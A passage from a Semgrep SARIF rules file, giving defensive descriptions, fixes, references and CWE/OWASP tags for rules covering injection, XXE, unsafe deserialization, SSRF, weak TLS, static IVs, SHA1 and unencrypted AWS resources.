Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","id":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","name":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec)\n - [https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec](https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","id":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","name":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","id":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","name":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n","text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","id":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","name":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli)\n - [https://pypi.org/project/pymssql/](https://pypi.org/project/pymssql/)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli","id":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","name":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymssql-sqli.pymssql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"help":{"markdown":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n","text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","id":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","name":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request)\n - [https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html](https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html)\n","text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","id":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","name":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host","id":"python.django.security.injection.tainted-url-host.tainted-url-host","name":"python.django.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"help":{"markdown":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","id":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","name":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.detailed-exceptions.detailed-exceptions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"help":{"markdown":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","id":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","name":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv","id":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","name":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","properties":{"precision":"very-high","tags":["CWE-329: Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-iv.hardcoded-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","id":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","name":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 